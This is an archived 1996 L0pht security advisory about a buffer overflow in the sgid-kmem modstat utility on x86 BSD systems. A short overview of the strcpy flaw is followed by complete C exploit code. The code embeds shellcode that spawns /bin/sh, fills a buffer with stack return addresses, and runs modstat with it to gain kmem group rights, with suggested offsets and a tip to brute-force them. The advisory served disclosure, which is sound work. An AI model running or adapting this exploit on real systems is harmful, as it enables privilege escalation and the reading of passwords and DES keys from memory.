home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / x86bsd_m.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.2 KB  |  118 lines

  1.                           L0pht Security Advisory
  2.                        Advisory released Dec 9 1996
  3.  
  4.                            Application: modstat
  5.  
  6.                  Vulnerability Scope: systems with the *BSD
  7.                     distribution of modstat sgid kmem
  8.  
  9.                Severity: Users can gain group kmem permissions
  10.                 and thus read DES keys, passwords, and in certain
  11.                 situations panic the machine (you know, the standard
  12.                 things you can do with group kmem perms).
  13.  
  14.                         Author: mudge@l0pht.com
  15.  
  16. Overview:
  17.  
  18.  Modstat is sgid kmem which is really handy to become if you feel
  19.  like looking through /dev/mem and /dev/kmem (gee, wonder what
  20.  you might want to do that for <grin>). Like just about everything
  21.  else under the sun it has a buffer overflow problem. The problem
  22.  exists in the dostat() routine where an arbitrary sized string
  23.  is shoved into sbuf.name through a strcpy().
  24.  
  25.  It is also possible to panic many systems by reading through
  26.  all memory. With memory mapped architectures you will set
  27.  various flags for having read values and touched registers -
  28.  since the system is expecting these registers to be in certain states,
  29.  tripping them to other states can cause bizarre results can occur. A
  30.  quick example is to md5 through your interface to memory and watch
  31.  the confusion that can occur in certain systems ;-) So yes, in many cases
  32.  being group kmem will let you shutdown a machine in a roundabout way...
  33.  even with just Read-Only abilities.
  34.  
  35.  The difference between this and some other buffer overflow code is
  36.  that this, much like my original syslog() code has to be placed "after"
  37.  the saved stack frame since you only have under 57 bytes to deal with.
  38.  However, we don't care that we might be munging the original args and
  39.  environment vars now do we ;-). Care must still be taken to make sure the
  40.  code does not contain NULL's as strcpy will end upon it's first NULL.
  41.  
  42. mudge@l0pht.com
  43.  
  44. ---
  45. Check out http://www.l0pht.com/advisories.html for other l0pht advisories
  46. ---
  47.  
  48. /********************************************************************
  49.  * modstat buffer overflow code - mudge@l0pht.com                   *
  50.  * 8/11/96                                                          *
  51.  * Done initially on FreeBSD as my BSDI box is down right now...    *
  52.  * sigh. It should work on any x86 arch with the standard *BSD      *
  53.  * implementation as they all use the same opcodes and operands.    *
  54.  * Go grab the splitvt code if you want this to work on Linux.      *
  55.  *                                                                  *
  56.  * try with offsets of -48, 7, 271, 326 with the way this is curr.  *
  57.  * setup. If these fail, brute force it <grin>.                     *
  58.  *                                                                  *
  59.  * Many thanks to bitwrior for initially finding the code problem   *
  60.  * in modstat and pointing it out to me - It's always nice when     *
  61.  * someone hands you a bone to gnaw on without wanting              *
  62.  * anything in particular out of it [this I know 'cause he has no   *
  63.  * problems writing this sort of thing on his own].                 *
  64.  *******************************************************************/
  65.  
  66. #include <stdio.h>
  67. #include <stdlib.h>
  68.  
  69. long get_esp(void)
  70. {
  71.    __asm__("movl %esp, %eax\n");
  72. }
  73.  
  74. main(int argc, char **argv)
  75. {
  76.    int i, j, offset;
  77.    char *bar, *foo;
  78.    unsigned long *esp_plus = NULL;
  79.  
  80.  
  81.    char mach_codes[] =
  82.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  83.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  84.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  85.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  86.  
  87.  
  88.    if (argc == 2)
  89.      offset = atoi(argv[1]);
  90.    else {
  91.      fprintf(stderr, "Usage: %s offset\n", argv[0]);
  92.      exit(1);
  93.    }
  94.  
  95.    bar = malloc(4096);
  96.    if (!bar){
  97.      printf("failed to malloc memory\n");
  98.      exit(1);
  99.    }
  100.  
  101.    foo = bar;  /* copy of original ptr */
  102.  
  103.    esp_plus = (long *)bar;
  104.    for(i=0; i < 24 ; i++)
  105.      *(esp_plus++) = (get_esp() + offset);
  106.  
  107.    printf("Using offset (0x%x)\n", (get_esp() + offset));
  108.  
  109.    bar = (char *)esp_plus;
  110.  
  111.    for(j=0; j< strlen(mach_codes); j++)
  112.      *(bar++) = mach_codes[j];
  113.  
  114.    *bar = 0;
  115.  
  116.    execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
  117. }
  118.